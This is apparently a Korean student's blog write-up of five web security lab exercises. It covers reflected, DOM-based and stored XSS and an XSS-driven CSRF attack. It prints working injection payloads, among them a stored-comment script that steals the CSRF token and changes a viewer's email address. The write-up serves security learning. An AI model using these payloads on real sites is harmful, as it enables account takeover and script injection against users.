XSS & CSRF

ewillwin·2022년 10월 2일
0

Information Security

목록 보기
1/3
post-thumbnail

1. Reflected XSS into attribute with angle brackets HTML-encoded

위의 웹사이트에서 alert() function을 띄워야함

search input form에 dfdf를 입력해보고 command+F를 통해 개발자도구 (fn + 12) 에서 dfdf 값이 할당되는 곳을 찾음

웹사이트에서 filtered 되지 않는 special characters를 찾아보았고, 그 결과 ', "는 filtering이 되지 않음을 확인함

search input form에
123"https://velog.velcdn.com/images/jw3418/post/9d7af6e1-2c22-4b97-a3a7-0a51e0ee5c95/image.png">







2. DOM-based XSS

위의 웹사이트에선 URL이 /demo/3#1이라면 Image1을 print함 (/demo/3#2면 Image2를, /demo/3#3이면 Image3을 print)

코드를 보면 URL을 통해 name value를 수정할 수 있는데, 이는 image의 source를 임의로 변경할 수 있음을 뜻함
image의 source 주소를 실제론 없는 주소로 바꾸어 error가 발생하게 한 다음, onerror attribute를 이용해 alert()를 띄울 수 있음

URL 주소 뒤에
0' onerror='alert()' />
를 삽입
(작은 따옴표 '를 이용해 img tag를 둘러 싸고 있던 큰따옴표 "가 잘 닫히도록 해야함)







3. DOM XSS in document.write sink using source location.search

The document.write function is called with data from location.search, which you can control using the website URL

search input form에 hihi를 입력한 후 개발자도구에서 코드를 확인해봤지만, search input form을 통해 악성코드를 삽입하는 것은 불가능함

location.search 함수는 URL의 parameter를 추출하는 역할을 하기 때문에, 이를 통해 악성코드 삽입이 가능함 -> DOM-based

위의 코드를 보면, location.search 함수를 이용해 search라는 parameter의 값을 query에 넣는 것을 볼 수 있음

또한, 이 query 변수는 img src의 주소를 정하는데 이용되는 것을 확인할 수 있음

따라서 URL의 search parameter의 값을

"><script>alert()</script>//

로 입력하면 악성코드 주입이 가능함







4. Stored XSS into Anchor href Afftribute with Double Quotes HTML-Encoded

위의 page에서 view post를 클릭

위의 page처럼 comment를 입력할 수 있는 칸이 나옴

이런 식으로 comment엔 comment123, name엔 name123, email엔 email123@naver.com, website엔 website123으로 값이 어디에 할당되어있는지 찾기 편하도록 값을 입력한 후, 코드 분석을 진행함

그 결과, website 부분을 통해서 악성코드 삽입이 가능함을 확인함

website 입력란에

javascript:alert();

를 입력







5. Exploiting XSS to perform CSRF

This lab contains a stored XSS vulnerability in the blog comments function

To solve the lab, exploit the vulnerability to perform a CSRF attack
And change the email address of someone who views the blog post comments
Make visitors to change their email address to test@test.com

-> 이번 lab은 alert() 창을 띄우는 것이 아닌, csrf token을 추출하고, 서버에 사용자의 email을 test@test.com으로 변경하는 위조 request를 보내는 것이 목표이다.

log in을 하면, Change email 버튼이 보임

email을 변경하고, 개발자 도구에서 network를 보면, 위 사진과 같이 change-email page의 packet headers를 볼 수 있음

위 사진과 같이, 코드 상에서 csrf token을 확인할 수 있다

공격 script는 아래와 같이 짤 수 있다. 이 CSRF는 stored XSS 기반으로, script를 comment 입력란에 입력하여 글을 올리면 해당 글을 보는 사람의 이메일이 test@test.com으로 바뀐다.

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email');
req.send();
function handleResponse() {
	var token = this.responseText.match(/name="csrf" 	value="(\w+)"/)[1];
	var changeReq = new XMLHttpRequest();
	changeReq.open('post', '/change-email');
	changeReq.send('csrf=' +token+'&email=test@test.com')
};
</script>

위 사진과 같이 comment를 post

wiener의 하이퍼링크를 클릭하면, csrf 공격이 시작된다

profile
💼 Software Engineer @ LG Electronics | 🎓 SungKyunKwan Univ. CSE

0개의 댓글

관련 채용 정보